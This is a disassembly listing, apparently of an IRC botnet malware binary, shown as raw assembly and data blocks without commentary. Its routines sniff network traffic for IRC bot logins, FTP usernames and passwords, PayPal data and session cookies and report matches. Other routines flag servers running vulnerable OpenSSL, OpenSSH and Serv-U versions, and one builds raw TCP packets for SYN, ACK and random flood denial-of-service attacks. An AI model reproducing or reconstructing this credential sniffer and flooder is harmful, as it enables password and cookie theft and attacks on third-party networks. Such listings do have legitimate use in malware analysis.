		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h
		dd 68FFFFFDh, 4357C8h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EE0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0BC68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 57AC68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EF4C504h, 34FF0043h, 434ED085h, 4C858D00h
		dd 68FFFFFDh, 435778h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh
		dd 43574C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h
		dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22BDCB0h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDD10, eax
		mov	eax, offset dword_4CDD10
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAFB8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB028
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AF8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAFBC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A94
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A60
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A2C
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359F4

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359BC
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226E254h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5B2468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAFA4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAFA4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAFA0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAFA4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2770B29h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
